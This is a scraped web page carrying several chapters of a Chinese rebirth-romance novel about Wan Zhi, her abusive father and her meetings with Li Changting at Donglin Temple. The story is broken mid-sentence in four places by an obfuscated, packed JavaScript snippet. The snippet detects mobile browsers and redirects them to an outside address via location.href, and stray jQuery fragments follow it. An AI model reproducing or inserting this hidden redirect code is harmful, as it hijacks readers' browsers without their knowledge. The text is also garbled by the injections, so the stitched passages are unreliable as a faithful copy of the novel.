“缘分缘分,看对眼的是缘分,看不对眼的就是有缘无分!你这不喜欢,那不喜欢,我如何知晓你中意哪一类的女子?”
“你还不听媒妁之言,是学了你小姨母家的大郎吧!他亦是驳了你姨父姨母为他相看的亲事,连妧家那小娘子都嫌弃,真不知眼界该高到何处去?!”
历常珽心念一动,逐字逐眼地重复:“榷安嫌弃妧枝?这是怎么回事?”
周老夫人叹了口气,回想起同濉安王妃回到后院时说的话。
“是啊,你也觉着荒唐吧,这说起来他们才是真的有缘无分呐。”
白日里隅中时,濉安王妃将周老夫人从茶厅哄走。
二人到后宅濉安王妃的院子里歇息,还未坐稳,周老夫人便听这个侄女责怪道:“阿姑今日这是做什么?不是来替三郎四郎掌掌眼的吗?”
“怎么偏来捣乱,将妧家的说给常珽呢?”
周老夫人毫不心虚,“男未婚女未嫁,为何说不得,我这不是瞧她生得标致,难得一见,可不就一时鬼迷了心窍了。”
似是不愿多与这个阿姑计较,濉安王妃哀叹一声,道:“总之阿姑不许再这般胡闹了。我们王府和妧家这门亲事,结得可不容易,万不能再出事端了。”
“瞧你这副颜色,大好的喜事为何还要愁眉苦脸,什么事端?这又从何说起?”
“阿姑可知,妧枝刚开始是给谁相看的?府中除了二郎已有妻子,三郎四郎都未成婚,五郎还小得很。大郎回家一年,在朝堂上深受圣上器重,婚姻大事却还没有照落……”
濉安王妃深深盯着周老夫人,“所以这妧枝,一开始就是给榷安相配的!”
“其父在中书省颇具威望,每呈上去的谏议都得圣上和老臣们的同意,官位不高,但也是个在朝堂说得上话的臣子。”
“他治家严谨,清贫却也孤高,想来养的女儿也是个贤惠的,榷安性子冷傲,还在为当年的事记恨我们,选个贤惠温柔的女郎最好。官位更不需多高,免得压在榷安头上一筹,就是考虑到这番,王爷才有了和妧家结亲的心思。”
“可惜,你猜结果如何?我们百般为他打算,榷安却不领情,生生毁了这门亲事。说是,即使硬要把这妧娘子嫁给他,她也是要守活寡的!”
……
马车中,静默无声。
直到片刻,周老夫人不停惋惜,“我当妧家这娘子有多不好,可我今日一看,人家不仅生得好,还送你小姨母亲手做的梨花膏。可不是有心了,奈何榷安?唉。”
历常珽:“那为何之后又相看给三郎四郎?”
“这……”周老夫人也觉着疑惑,“你小姨母说是,妧家来登门追问这亲事要如何处置,是不是要失了信誉。你小姨父为了不伤同僚情谊,自觉亏欠妧家,于是就想了个法子,把议亲的人选换成了他们。”
“三郎四郎都到了适婚的年纪,虽说还算尚早,但也的确该谈婚论嫁了,为了弥补,就让妧家自己来相看,看这最后到底选谁做女婿。就当是赔罪。”
“原来这当中还有这番缘故。”听完历常珽道。
周老夫人点头,言谈间颇有些怜惜的味道,“可不是,这妧枝我看倒也不差,还是可怜人。”
“若是她未曾相看上三郎跟四郎,不如常珽你把她娶回家罢了,我看她身姿都与你相配……”
历常珽难掩震惊和周老夫人四目相对。
“祖母?!”
“好了,别叫别叫,我这不是浑说么?”
周老夫人挥挥手,仿佛刚才说的胡话都不存在,之后堵着气打开自己这边的窗户,看向窗外。
气氛渐渐安静,唯独坐在另一边的历常珽,心中好像泛起波澜。
京都城满城繁华,未有宵禁。
时常有酒楼里的常客,在此饮酒作乐后不曾归家。
富庶的就在此开间上房,浑身只剩酒臭味的便趴在桌上耍赖,直至醉死过去,被里面的下人扔到大街上已是常态。
无论达官贵人,还是贫民百姓,风气皆是如此。
丑时,夜深人寂,偶有一声鸡鸣。
状元巷内,一顶软轿终于将人送至家,妧嵘带着满身酒气随意朝后面的轿夫挥了挥,然后粗暴不断地扣响家门。
“来人。开门,都睡死了不成?”
“还不快开门!”
“再不开门,本官治你们个大不敬之罪!”
院内即使在屋中,妧枝亦能听清妧嵘在大门外斥责呼来喝去的动静。
隔壁妧柔今日念叨着想阿母了,平氏陪着她睡,眼下也因为半夜归家的妧嵘而惊醒。
顾不得安抚几句,更担心引起丈夫不满,平氏匆匆披上外衣推门出去。
屋门半开,一道身影从里走出来。
平氏一赶到院门口,就看到宅子里的下人左右两边将醉醺醺的妧嵘架进来,只因去的太晚,守门的两人正受着妧嵘的口头上的教训。
“该死的东西,下回再来晚了,就别想待在这个家里。”
“早日把你们都发卖了,看你们还敢不敢怠慢了我。”
待到平氏走到跟前劝说:“主家,可消消气吧,时候不早了,快随我回屋歇息吧。”
本是好意在劝,却不想迎来的是妧嵘更多的辱骂,“你?你这槽糠之妻,我娶你是为了传宗接代,相夫教子。可你看看你给我生得什么孽子……”
“哪来的你在这说话的份?”
“……”
下人不敢多嘴,硬生生听着醉酒后的主家对主母是怎样的不满,而像这样的情况平氏似是习以为常,并不少见。
虽感难堪,困窘发抖,却还是得在妧嵘招呼时上前扶住他,一声“主家”已经是委屈至斯。
平氏忍气吞声,在静谧空旷的夜晚和训斥叫骂下,与仆人一同将妧嵘送回后院屋子。
结果一转身就看见妧枝,高举着一盏灯,冷冷看着妧嵘。
恍惚中,平氏骤然心悸无比,仿佛以为自己看错了,那盏灯更像是妧枝手里的一把短匕,似要狠狠插进妧嵘的胸膛。
“枝儿,你怎么出来了?快进去吧,回屋歇息。”
“你阿父,我来照顾好他就是。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151517|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>然而妧枝一动不动,眼神依旧直勾勾地盯着自己的父亲。
方才外面妧嵘叫骂嚷嚷的声音,她都已听得清清楚楚。
这个十恶不赦之人,罪大恶极背叛妻子,愧对子女忘恩负义的无耻之辈,不管上一世还是这一世,都是造成这个家所有人痛苦的罪魁祸首。
终有一日,终有一日……她一定让他落到惨十倍百倍的下场。
似是注意到那怀有恨意的眼神,妧嵘醉醺醺地抬起头,盯着隐入暗中的妧枝,“你,你这女子,岂敢用那样的目光瞪我?”
“我,我可是你父亲。”
妧枝充耳不闻,重新回到屋内。
只听外面妧嵘还要继续撒泼,平氏极力阻拦,与下人一起劝解,这才将他拉走了。
翌日一早。
晨光熹微间,状元巷里逐渐响起车水马龙,左邻右坊晨起梳洗准备朝食的动静。
车轮滚过平坦的街巷,在时不时传出的吆喝声中妧枝从榻上醒来。
等到片刻后,下人正准备进院里请人,只见房门一开。
女郎已经如日前一样,收拾好了自己。
来到饭厅,妧枝目光一扫,饭桌上平氏和妧柔妧酨已经到齐,妧嵘但凡头天夜里宿醉,第二日绝无可能那么早起来。
是以饭桌上氛围不同于有父亲在时那么紧绷。
“阿姐来了。”
妧枝照例摸了下妧柔的脑袋,同妧酨容色稍冷的点了下头。
然后坐在平氏一旁,“阿母。”
平氏脸上肉眼可见的两眼发青,面带倦意,还有下巴一小处,似有一块微微青紫的痕迹。
在妧枝仔细观察过来时,平氏慌张地抬手用帕子遮挡住,然后转移话题,“怎么,你今日是要出去?我看你特意打扮了一番……”
妧嵘酒后性子并不怎么好,可以说是在外面一副仁义君子模样,但到了家里平氏面前,总会忍不住动手。
事后便用喝多了做借口,实际上还是因为他打心里厌弃平氏,恨她生了个不能给他长脸面的儿子,所以借机报复,以泄郁气。
这些妧枝都看在眼里,只是平氏闪躲根本不想她多问,怕她问了又要生事为难,于是装作什么都没发现的样子。
如常地端起碗,“是。”
“去哪儿?是王府两位公子又来邀你了?还是……”
倏然,门口进来下人打断,“主母,女郎,外面来了位不认识的人,前来送帖子来了。”
妧枝和平氏的话语声一顿,母女相视一眼。
“什么帖子?”
妧枝做主道:“拿过来给我看看,对方可有说是谁家的下人?”
“倒是有,说是八珍街玉环巷里的甘家。但派他来的,是家里的老夫人,姓周。”
平氏在旁一无所知,茫然而疑惑地看着妧枝。
妧枝却是微微一顿,“周老太君?”
“这又是谁?你们怎么认识的?”昨日妧枝一到午食便归家了,还带了外面的吃食回来。
说是王府送给他们的,平氏一高兴,便问了几句她在王府的细节。
妧枝随意捏了几段便忽略了过去,只是未曾细提周老夫人那对祖孙。
如今平氏一问,她才肯道:“是濉安王妃的姑姑,昨日我上门,她来王府做客,我们碰见了,说是我和她投缘,待我颇为和善。”
平氏“呀”了一声,多了些许喜色,“那她送来帖子是什么意思,上面怎么说?”
妧枝看着手中规格都颇具分量和典雅的帖子,顺着平氏的心意念出来,“周老夫人……她,问我今日是否有空,邀我去城中东林寺相见。”
15.第 15 章
妧枝今日本就打算出门一趟,她心中有事,有关如何摆脱妧嵘的控制,以及今后怎么方能护住弟妹平氏的周全。
诸多事宜须得她细心筹划,非一日之计。
且醒来又照常打扮一番,虽不引平氏起疑,却还是免不了要被追问去处。
一个女郎出门,总要知根知底。
妧枝早已想好如何搪塞过去,但是周老夫人的帖子一来,让她瞬时改了主意。
她笑着收起请帖,“周老夫人邀我去东林寺吃素斋,阿母,那我过一会就出门了。”
平氏很快忘了她原先是因何要出去,“那你可要把瑞多带上?他们大户人家家仆多,你带上一个,好有照应。”
屋里还有一个正在帮妧柔妧酨布菜的婢女,上回也是她跟随妧枝去了东林寺。
却怎么也劝说不听妧枝去观音殿相看。
家中下人本就不多,平氏平日里要操劳,光是妧嵘那里只要他在家,下人也都是先听他吩咐。
妧枝拒绝道:“不了,还是让他们在家给阿母帮忙吧,我一个人,出行方便。”
白日青天,京都律例严明,也不是什么人都敢在王城脚下生事的。
长女心意已决,平氏做不了她的主,便只有同意她出门了。
妧枝一走,后院闹了大半宿的妧嵘方才皱着眉,浑身不爽利的从后面进来。
妧酨哆哆嗦嗦,畏惧之深向父亲行了礼,然后快速躲出去。
……
东林寺。
与妧枝上回来不同,今日气候更好,太阳升的很高。
风里多了几丝干燥气,无论车马还是来上香的信众都在日光的普照下,散发暖意。
看到寺院外面一整条街都是布施的摊子,妧枝方才意识到今日是施斋节。
春分百姓农耕自力更生,没有家财且无力生活的人便会上界乞讨,而在这一日富人会略散一点家资接济,以求恩德善报。
如今妧枝看到的不止有一家带领家仆出来这么做。
她在寺门口刚站定不久,就有人从一旁认出她来,“女郎可是妧娘子?”
对方打扮不差,妧枝点头,“你是?”
“在下是甘家管事,老太君命我在此等候,还请妧娘子随我过去。”
“老太君在何处?”
管事指向一棵正在施予斋饭的树下,“正在那呢。”
看来做善事不止别人,周老夫人亦在其中。
妧枝看到了本人,这才动身随甘家管事过去。
在施斋的摊子后面,周老夫人正交代下人,“光这些米可不够,再备十升来,先煮上多的届时候都捐给寺庙去。还有卖给香客的素吃点心……”
“老太君,老太君。”
她忍着被打断的不悦回头,在听到“妧娘子来了”后,看到站在摊位不远处的妧枝时,顷刻变得一副喜色。
“阿枝,你来了。”
妧枝行礼,“老太君。”
“哎呀,不必多礼,不必多礼。”周老夫人:“你能过来,我老婆子不知多开心,我还担心你不会来呢。”
妧枝年纪与她不相当,论关系还不如与濉安王妃未来婆媳的身份,名当言顺。
这等忘年交,极为少见。
妧枝也很惊讶周老夫人会向她邀约,但于她来说,的确是个很好的机会。
“没想到老太君会在此布施,可有需要我帮忙之处?”
妧枝环视一圈问。
周老夫人:“不不,我邀你来,岂是让你做这些的?”
想起帖子上写道,让她隅中时来此享用素斋。
妧枝随周老夫人走到摊子外面,“你还没进殿上过香吧,既然来了寺里就得拜一拜,走吧,我们进去转转,等会再找一间厢房,让人给我们送吃的来。”
她亲昵的挽住妧枝的胳膊,闲话般谈起,“我听说,你的亲事是三郎和四郎同你相看。你可有觉着他们当中,哪个更合心意啊?”
行走在寺中庭院小道上,周围香客来来往往。
甘家的下人跟在身后,台阶上偶尔还会纵出一两只出来捕食的野猫。
妧枝不明周老夫人的意思,只当她或许是帮濉安王妃打听,目光从溜走的猫身上挪开,道:“三公子和四公子各有优点,我觉着都好。”
周老夫人笑眯眯的,“滑头,这可是让你挑夫婿,怎么能觉着两个人都好呢?你若说不出来,那就是他们二人都不讨你喜欢了。”
周老夫人一针见血指出破绽。
她年长妧枝不知几许,且又是一代人的主母,阅历似乎更丰富,这种圆滑的回应想将她糊弄过去,怕是不行。
妧枝便只张张嘴,含笑:“老太君说的是。”
周老夫人嗔她,“你可真是个滑头,叫人捞不着话柄。说他二人不讨你喜欢的是我,可不是你。”
“不过你且放心,不管在我跟前说什么,我老婆子都不会乱传出去。”
她确定了妧枝心意,更有了一种安定的心思,“这嫁人,女子不一定能嫁的最好,但起码要嫁,也应是两情相悦的吧?”
“若不然,即使成了婚,也是相看两厌,白白浪费了青春,做了一对怨侣。你说,是也不是?”
妧枝听出她话里有话,可却还是不知周老夫人想做什么。
难不成是劝她,不要嫁给李家三郎、四郎?
“老太君说的有理。”
“有没有理,待到之后再谈,先进去上柱香吧。”
到了殿宇内,妧枝看到佛像,适才反应过来周老夫人领她来的是日前这座寺的正院,观音殿。
佛前,周老夫人向她招手,示意妧枝也到菩萨跟前来拜一拜。
妧枝受到招呼,缓缓踱步过去,然后跪在周老夫人身旁。
“拜佛可要心中虔诚,思自己所念所想,菩萨定为你达成所愿。”说罢,周老夫人便不再管她,双手合十小声有词,祈求起来。
妧枝也抬眸望着面前这座宏伟被镀了金身的菩萨,上辈子她于二十岁出嫁,那时正值秋天。
硕果累累的季节。
但十年过去,她从新嫁娘变成了世上人道人叹的闺中怨妇。
人生并没有丰收到美好的果实。
她不信神佛,也未曾专心虔诚侍奉过任何一尊佛像,但她不知自己为什么会重生,多这一辈子。
如果这世上真的有神佛,能聆听她的祈愿,那么她祈望神佛能答应她,让她这一世有怨报怨了却恩仇。
世有长命女拜三愿。
妧枝一愿自己扭转乾坤,力挽狂澜。
二愿姊妹生母常健。
三愿世上薄情人,永不相见。
观音殿外,传来悠悠一道钟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15157965|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声,仿若佛音,令人灵台清明。
妧枝再睁眼时,不知不觉发现跪在佛像前,只剩她一人,而刚才与她一起来的周老夫人却不见了踪影。
她起身去找,却在踏出殿宇门槛时,与外面听到脚步声,猝然转过身的人碰个正着。
妧枝怔怔。
历常珽似乎并不意外在这看到她,主动向她走近,“妧娘子可是在找我祖母?”
仅是惊讶了一瞬,妧枝便恢复神色。
来不及猜疑历常珽怎么会出现在这,问:“是,郡王可是知晓老太君去哪儿了?”
“方才她和我一同祈愿,却突然不见,我有些担心……”
在王府意欲与她保持距离的历常珽道:“妧娘子不必忧心。”
“祖母她许愿完,发现妧娘子还在与菩萨神识交汇,便先去找寺里的主持讲经去了。”
“正好我来,她便让我在此等候……告知你一声,免得不知她去向。”
妧枝顿时安心下来,“原是如此,看来是我耽搁了。那要劳烦郡王在此等我了。”
她向历常珽欠身,然而历常珽并未受她一礼。
而是微微避让了些,“妧娘子客气了,你是祖母邀请来的客人,本王代她招待你……也是应该的。”
他末尾话语,登时有些轻。
妧枝未有所觉。
直到观音殿内外陆续进来其他香客,妧枝和历常珽面面相觑,似是终于觉得不宜堵在其中一扇门处,于是一个从外让开来。
一个抬起裙摆,从容从里面出来。
“既然已经知晓老太君去处,那我就安心了。”
妧枝想起今世与历常珽还不算太熟,以免像在王府被误会,便道:“我这里就不打扰郡王了,此处寺里我自己可以走走。待到用斋时,我自去与老太君相见。”
“等等。”
未料,历常珽陡然将她叫住。
妧枝惊讶回眸,只听这位郡王道:“祖母交代,她不在时命我一定要招待好你,妧娘子,不介意的话,可愿意本王随你一同逛一逛这东林寺。”
寺院外的巷道里。
马车走不动,轿夫更难行。
不管是来东林寺施斋的,还是前来领一些斋食回家的百姓,都将这条路堵得严严实实。
“大郎君,前路不通了,也许只得下马进去。”枕戈对等在外面骑在马背上的人道:“里面的人,实在太多了。”
他心有余悸,商榷安未曾犹豫,当即从马背上下来,“张弛已经到了?在哪个寺院。”
枕戈:“按照约定,是在文殊殿的偏门后面等候。”
将缰绳递给下属。
商榷安:“我自己进去,你在外面安排人手,不要让可疑之人看见。”
“是。”
说罢,他顺着人潮往寺院里走。
东林寺是京都城内其中之一的大寺,香火鼎盛,施斋的人家尤其多,高大修长的身影从树下甘家的施斋摊子前经过。
直径上了台阶,上回他在此避开了与妧家有交集的契机,陪唯真进殿烧香祈福。
本以为尘埃落定,不会再来这座让他跟妧枝上辈子错误结为夫妻的庙宇。
结果,乱党一流中的卧底张弛却传信给他,要在东林寺相见。
就如同,冥冥中,一时半会还是与它斩断不了干系。
16.第 16 章
历常珽相邀,妧枝不过愣了一瞬,并没有拒绝。
这倒是让她想起上一世,她嫁给商榷安后,第一次见历常珽的场景。
上一世,妧枝并没有在濉安王妃见到周老夫人。
想来这位老太君去世后,历常珽也就没有像以前一样,常来濉安王府上做客。
一年后。
妧枝不再是新进门的妇人,她已经是能着手帮着府里处理事务的大夫人,不过杂事比较多,过于正经的轮不到她经手。
大事还是濉安王妃管着,只等她不想管的那天,方才从几个儿媳里挑拣继承大权的人选。
但因她的身份,丈夫是在朝堂有前途的长子,濉安王妃用到她的时候还不少。
那天她许是忙糊涂了,又是安排给某位侯府的夫人庆生,又要跑去南城给某位阁老家的长寿太君送礼。
东一趟西一趟,来来回回应酬不暇,等回府人已经快晕了。
而那日应是周老夫人去世一年多,历常珽久违地上门做客,来看望濉安王妃。
也许是不复当年老太君在时那般热闹,人情有变,只过半个时辰,饮了茶历常珽便请辞要走。
结果天上偶然下起滂沱大雨,妧枝回府的马车停在大门前,这位郡王亦恰好在门槛几步之遥处顿住脚步。
只听门口的大房夫人并未留意到他,妧枝连日来堆积的压力因为一场突如其来的大雨冲垮。
不复端庄文静,头一次念念不停,“该死的雨,真不及时。”
“改日去了龙王庙,本夫人不仅要骂你,还一分香火也不给你。”
婢女替她打理全打湿的下摆裙裳,直到妧枝抬手,“罢了罢了,回房换衣服去。”
哪想她一转身,没走几步便愣在原地。
没想到还有一位客人就离她不远处,将她刚才的话都听到耳朵里,正面含笑意看着她,而身旁亦有仆人面露吃惊。
这让常以娴雅得体在外展示形象的妧枝窘迫不已。
正好大雨之下,濉安王妃派人来请历常珽,让他等雨停后再回去。
于是解了妧枝当场之急,而等二人再茶厅内重新见了面,方才互通了对方身份。
之后,本以为不会再来的历常珽又登了几次王府的门。
次次妧枝跟在濉安王妃身边都能见到他,就连濉安王妃都惊奇,说这个外甥有心了,来得较为勤。
不过与濉安王妃在一起,这对表姨外甥多是话家常。
聊聊周老夫人在时的事情,也因有这么长一段时日的相交,妧枝和他就算未曾私下交谈几次,亦算得上是曾经的熟人。
就当是朋友,一起逛逛东林寺,也没什么不妥。
“请。”
妧枝应了历常珽的相邀,二人出了观音殿,顺着里面的石板岔路,一路往东边走去。
寺里每个菩萨院都有道路相通,从过往的香客人多走到人稀,气氛本是沉默,直到在一处院子里看见一颗长满绿叶的梨树。
历常珽才开口道:“上回在小姨母家中,看到妧娘子拿出亲手做的梨花膏,想来十分不容易。”
“这在闺中娘子里颇为少见,没想到妧娘子还有这种手艺。”
妧枝:“郡王谬赞了,那是我家学……我阿母会这门手艺,祖翁是乡间一名制药郎,可惜传男不传女,阿母也就只学了些制膏的皮毛,然后才传给了我。”
梨花收集起来是不容易,尤其落花那几日,天色阴沉,偶尔还会有一两场雨水。
光是清洗晒干研磨成粉,都要经历好几场工序。
本来家中资产不多,平日花销也大,平氏想过要找几家药铺,以帮别人制作药膏为名挣点家用。
但一次被妧嵘发现后,踢了她的桌子,说她作为一个妇道人家,不好好勤俭持家,做她的官夫人,却来做这些活计,是丢了他的脸面。
之后平氏便不敢再接了。
“原来是名师出高徒。”
妧枝脸上笑意淡淡,从面无喜色,到面露微嘲,仿佛都被历常珽看在眼里。
突然听见这么一句夸,不禁讶异地抬眸向郡王看去。
历常珽:“妧娘子所做的梨花膏,那日一拿回去,我祖母就用了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160768|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。说是香气宜人,脂膏细腻,半点不输登鹊楼那些大家做的。”
登鹊楼是妧枝说过,仿照这家做的。
如今被拿来称赞,即使是多活两世,妧枝也略微不好意思。
自夸可以,他人来夸可就虚浮了。
“哪里……”
妧枝:“微薄心意,只要老太君不嫌弃就行。”
周围已经没什么人了,院子安安静静,寺里钟声敲响,代表着午食已到。
树上群鸟如同受惊,飞起又飞落。
妧枝回头看看,“是不是该到用斋的时候了。”
她向历常珽发起疑问,就在微微想要转身之际,忽地被身旁人叫住,“妧娘子,等等。”
历常珽伸手过来。
妧枝愣然看着他,直到对方轻碰着她肩膀,胸膛因距离而贴近。
历常珽从妧枝身上细心摘下掉落在她头上的树叶,手还没松开,摊开掌心,展示给她看。
笑道:“两片枯叶,应是去年最后一点秋冬之色了。”
古寺文殊殿的后门内,一座染了新绿略显古朴的小阁楼上,窗前站了一道不引人注意的身影。
桌边烹了许久的茶已经升起茶烟,张弛扭头望向负手而立的人,纳闷问:“商大人在瞧什么,怎么还不回来桌前吃茶?”
对方被漆黑而浓密的睫羽裹挟的眉眼,注视着前方,恍若未闻。
阁楼外,院子中央的梨花树下站着一对男女。
那男子亲手捻去女子头上的落叶,女子竟也不反感推拒,只痴站着,待到对方摊开掌心给她看时,二人似乎还说了什么,竟凝望着彼此相视微笑。
这但凡有香客在此路过,定然以为是什么背着家里来私会的相好了。
那日商榷安路过王府正堂,寂静的夜色因李屹其怒砸瓶罐的动静而打破,亦暂且止住了他的步伐。
静静听闻堂屋内所发出的闹剧,商榷安之后无动于衷地离去。
不想今日,竟叫他亲自撞见这一幕。
无疑与枕戈、李屹其和叫云竹的婢女所述的实情,相差无几。
17.第 17 章
娶妧枝,是在商榷安归家后一年。
那一年真是多事之秋。
与那一年相比,没被认回濉安王府的日子,任何年岁都要比今后的人生更加快意。
七岁,已经是全然记事的年纪。
世人说,三岁开蒙,六岁龙文鞭影,幼学琼林。
八岁就应当通读四书,读孔孟之学。
于开智晚的孩子来说,旁人是块朽木,商榷安已然是天资秀出,融会贯通。
但他至今亦未弄懂,七岁那年,为何会被过继给濮国公府。
是不聪慧吗?不。
是因他出身来路不正吗?不。
是时局之需,是因当时,濉安王和濉安王妃只得三个孩子。
商榷安为长子,彼时有妾室所出二子李平川,随后便是嗷嗷待哺中的李屹其。
圣上有令,濮国公乃国之重臣,即使政见与圣上不和,当朝斥责帝王,愧对于先祖列宗,被下大狱。
又在牢中为明其志,撞墙重伤,令圣上倍感唏嘘,依旧愿对他网开一面,不计前嫌留他一命,准他归家休养。
不仅如此,还感念他为江山社稷付出的一切,念及他早年丧妻,空有爵位,将来没有子嗣继承,于是做主要选一个聪明的孩子帮他继承家业。
濉安王与濮国公深交甚远,昔年与圣上同为他的学生,与濮国公政见合一,应当很愿意为其分担。
身为宗亲,圣上一句话足以令濉安王惶恐。
未免牵连自身,濉安王自请答应下来,愿意让出一子,去照顾年迈的老师。
至于过继谁去,长子聪慧,二子庶出,三子尚在年幼离不开王妃。
妾室以命相抵,不愿承受母子分离之痛,让二子染上风寒只能在府中养病。
圣命催促,让濉安王千万不要糊弄,否则误了圣意,恐伤帝心。
于是宫里的人一走,濉安王的目光便落在了屋中站在濉安王妃身边健全的长子身上。
一句“你去”,将商榷安此后的半生一锤定音。
此后无关冬暖夏凉,春夏秋冬,濉安王府便只字未提大公子,便当从此没有这个人。
后来娶妻,亦要说,是父母之命。
非他所想。
妧枝这个人,从来不是商榷安心目中的妻子。
她很贤惠,对家中的吩咐唯命是从,当初十分看重与濉安王府的亲事,即使商榷安对她冷脸,她似乎都无所觉。
用尽一切力气攀高,是商榷安对这个女子的唯一印象。
如今,议亲对象已不是他,李屹其好似并不讨她喜欢,有身份地位更高的郡王在前。
商榷安并不意外她会怎么选。
张弛靠过来,“商大人,外边到底什么景色这般好,令你挪不开眼?”
面无表情,商榷安侧过身避开张弛的搭肩,眼里尽数是对此般境况的了然。
“是一株平平无果的梨花树,无需因它而多言。”
……
妧枝对这辈子的人生没有太多期盼,她唯一的念想便是不想重蹈覆辙。
而今妧嵘势大,是一家之主,轻易能攥住家中每个人的命脉。
妧枝自然不能让他继续这样下去。
亲事在没选定之前,跟谁相看都不成问题。
至于这辈子,谁才是她的天定良缘,妧枝更不关心。
只是让她颇为意外的是与历常珽的交集,刚才他们之间的行举可以说是稍微逾越了些许。
似是意识到这点,历常珽在帮她捡拾了发上的落叶后,就往后退开一些,“好像是斋时到了。”
“不过此处应是文殊菩萨殿,历来会受许多学子的家人香客来拜,日前似是因为有几处要修缮,便暂时不迎客了。”
“妧娘子可要在这里再看看?”
他只字未提刚才是否冒犯,妧枝更不会主动提及。
她抬眸眺望两眼四周,地面上的确暂存了许多枯枝落叶,有的已经成黑褐色几乎融入地里了。
部分殿宇的房门都被上了锁,闭门谢客。
再往里就是尽头。
妧枝轻轻摇头:“不用了,我们一路走来已经很远了,既然该用斋时,那就往回走把,免得老太君问起,却寻不到咱们。”
话落,她便提起脚步顺着来时的石板路往回走。
历常珽则跟在她身后两三步的样子,一前一后地离开寂静而略显颓败的文殊院。
“这斋食其实也有讲究,可非世人所想那样,就是些许清粥小菜就足以入口。”
待到妧枝和历常珽一同出现在周老夫人安排的小厢房时,桌上已经摆满了之前所见到的斋菜。
如周老夫人所说,斋食素也素的花样百出。
光珍馐点心就令人赏心悦目,“这道素鸡和假煎鱼你且尝尝……吃完这口,再吃这碗百合白玉羹,去了咸香味儿,铺平了口味,再尝这块酸甜的乌梅糖糕,个中滋味儿叫你不遗憾来人间一趟。”
妧枝坐在桌前,一来就受到周老夫人殷勤相待。
在她口若悬河之下,听话的拿起筷子,按照对方的吃法去夹,如此体贴人意,让周老夫人不禁难掩欢喜,又朝自己外孙瞧去。
刚才历常珽同妧枝过来,一同出现在她眼前时,当真叫她眼前一亮。
她觉着像妧枝这样沉稳懂事的女子,天生也就该配年长沉稳些的男子。
不是她浑说,三郎跟四郎到底还是太年轻了,只怕误人家女郎,届时免不了要吃苦。
榷安……这个侄孙,身份尴尬,年少成名,行事自有一番风范,不好评判。
唯有他们家常珽,不喜与人争执,脾性温和有度,还极为风雅,配上美娇娘,越瞧越合心意。
周老太君对着默默用食的妧枝和李常珽一脸笑意,看的目不转睛。
就在妧枝有所察觉时,外面的管事过来道:“老太君,今日也来施斋的英国公夫人来了,和郑阁老家的夫人都在等着您过去呢。”
是曾经的闺中老友相聚,周老夫人应下后看向还在用斋的妧枝和历常珽。
“那我就去应酬一番,你们在此好好吃,常珽,陪着阿枝慢慢吃,不着急。”
周老夫人一走,厢房中便剩他们俩。
但门大开着,还有下人在外面等候,历常珽被有所交代,下意识同妧枝对视一眼。
熟料周老夫人前脚刚走,妧枝便放下碗筷,拿起绢帕擦嘴,“我已经吃饱了。”
“这些斋食与我曾经在寺里尝到的不大一样,更好吃一些。”
历常珽跟着一起放下碗筷,“可我见妧娘子食的也不多。”
“那是因为早上朝食填饱了肚子,空留一点余地已经被刚才吃的塞满了。”
“那接下来,妧娘子做何去?”历常珽已然看穿妧枝想要离开的意思。
妧枝难得笑道:“我今日出门,本是有另外的事要做,结果一早就收到了老太君的请帖,不想辜负心意便先来了此处。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165668|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“但午食一过,我就得忙别的去了,还请郡王代我同老太君说一声,告辞了。”
她起身,历常珽也跟着起身。
“郡王不必送我。”妧枝立在门口,带着淡淡的客套婉拒之意,“我是待嫁之身,郡王是人善君子,若叫他人见到你与我总在一起,难免会引起误会,伤了郡王声誉。”
历常珽一怔,仿佛从未了解过妧枝。
本以为她主动靠近,是性情温柔的,谁想下一刻就清醒的考虑到其他方面上。
真是个好捉摸不定的女郎。
“清者自清,何须理会他人作想。”话是这么说,历常珽亦清楚妧枝说的不是没有道理。
他站定在门槛处没有继续再送,妧枝同样笑了笑,没有作答。
这位郡王,名声在外,一向风评不错。
没有感受过人言可畏的可怖之处,上一世妧嵘做出那等不苟之事,不仅没有得到外界批判,支持他的人反倒大有人在。
